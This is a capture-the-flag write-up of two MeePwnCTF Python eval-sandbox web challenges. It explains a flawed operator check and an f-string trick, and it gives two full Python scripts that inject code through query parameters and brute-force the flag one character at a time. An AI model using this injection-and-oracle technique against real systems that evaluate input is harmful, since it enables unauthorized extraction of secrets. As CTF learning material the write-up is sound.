Those were almost identical challenges, and in fact the first one had a simpler, unintended, solution and therefore another version was released.
In the first challenge we get access to a webpage which can evaluate some python for us. The flag is loaded into the memory, so we basically have a Python Jailbreak to solve. We get the source code of the challenge.
The important things are:
- We can see only integer or boolean output.
- Parameters are sanitized, and stringified.
- Types of parameters have to match.
- The final payload to eval is
str(repr(value1)) + str(op) + str(repr(value2))
which means for example'a' + '+' + 'b'
The vulnerability is here:
def get_op(val):
val = str(val)[:2]
list_ops = ['+','-','/','*','=','!']
if val == '' or val[0] not in list_ops:
print('<center>Invalid op</center>')
sys.exit(0)
return val
The operator
can be 2-bytes long (like ==
), but only the first byte is checked!
This means for example that we can use operator +'
and therefore close the '
quote.
This means we could evaluate: 'SOMETHING' +''+FLAG and FLAG>source#'
which means some_string and boolean
, which evaluates to the value of this boolean.
Keep in mind we're using the:
if 'source' in arguments:
source = arguments['source'].value
And not for example value1
variable, because source
has no blacklist limitations.
import re
import string
import urllib
import requests
def main():
flag = "M"
while True:
prev = 0
for i in range(255):
c = chr(i)
if c in string.printable:
source = urllib.quote_plus(flag + c)
op = urllib.quote_plus("+'")
arg2 = urllib.quote_plus("+FLAG and FLAG>source#")
result = requests.get("http://178.128.96.203/cgi-bin/server.py?source=%s&value1=x&op=%s&value2=%s" % (source, op, arg2)).text
if ">>>>" in result:
res = re.findall(">>>>.*", result, re.DOTALL)[0]
if "False" in res:
flag += prev
print(flag)
break
else:
prev = c
main()
We check every character until the flag becomes bigger than our payload, which means that previous character was the right one, and we can start working on next flag position.
It takes a while but in the end we get: MeePwnCTF{python3.66666666666666_([_((you_passed_this?]]]]]])
Second level of the challenge is very similar. We also get the source code
The difference is very tiny:
op = get_op(get_value(arguments['op'].value))
Which means the operator also passes via blacklist, and therefore cannot contain '
any more.
But we can still inject something behind the operator!
We guessed that our first solution was unintended, but the flag suggested that intended solution has something to do with new Python features. We looked at release notes and we found an interesting article: https://www.python.org/dev/peps/pep-0498/
There is a f
modifier for strings, which allows to do some nice evaluation inside strings.
We could for example do f'{FLAG}'
and it would place the variable value inside the string.
However since we can't escape from '
we can't really create any boolean condition anymore.
It took us a while to figure out the approach, but we finally reched: 'T' +f'ru{FLAG>source or 14:x}'
- We use the short circuit
or
to get one of the two results, depending on the result of first comparison. BasicallyTrue or 14
returnsTrue
andFalse or 14
returns 14. - We use
x
modifier to turn 14 into hex digite
- The string
f'ru{FLAG>source or 14:x}'
therefore evaluates to eitherru1
orrue
, depending on theFLAG>source
condition - The result of evaluation will be either
Tru1
orTrue
, and in the second case, we will se the result on the page, because it will be treated as boolean.
import re
import string
import urllib
import requests
def main():
flag = "M"
while True:
prev = 0
for i in range(255):
c = chr(i)
if c in string.printable:
print('testing', c)
arg1 = urllib.quote_plus("T")
op = urllib.quote_plus("+f")
arg2 = urllib.quote_plus("ru{FLAG>source or 14:x}")
result = requests.get("http://206.189.223.3/cgi-bin/server.py?source=%s&value1=%s&op=%s&value2=%s" % (flag + c, arg1, op, arg2)).text
if ">>>>" in result:
res = re.findall(">>>>.*", result, re.DOTALL)[0]
if "True" in res:
flag += prev
print(flag)
break
else:
prev = c
main()
The rest of the approach is the same as in previous challenge.
After a while we get: MeePwnCTF{python3.6[_strikes_backkkkkkkkkkkk)}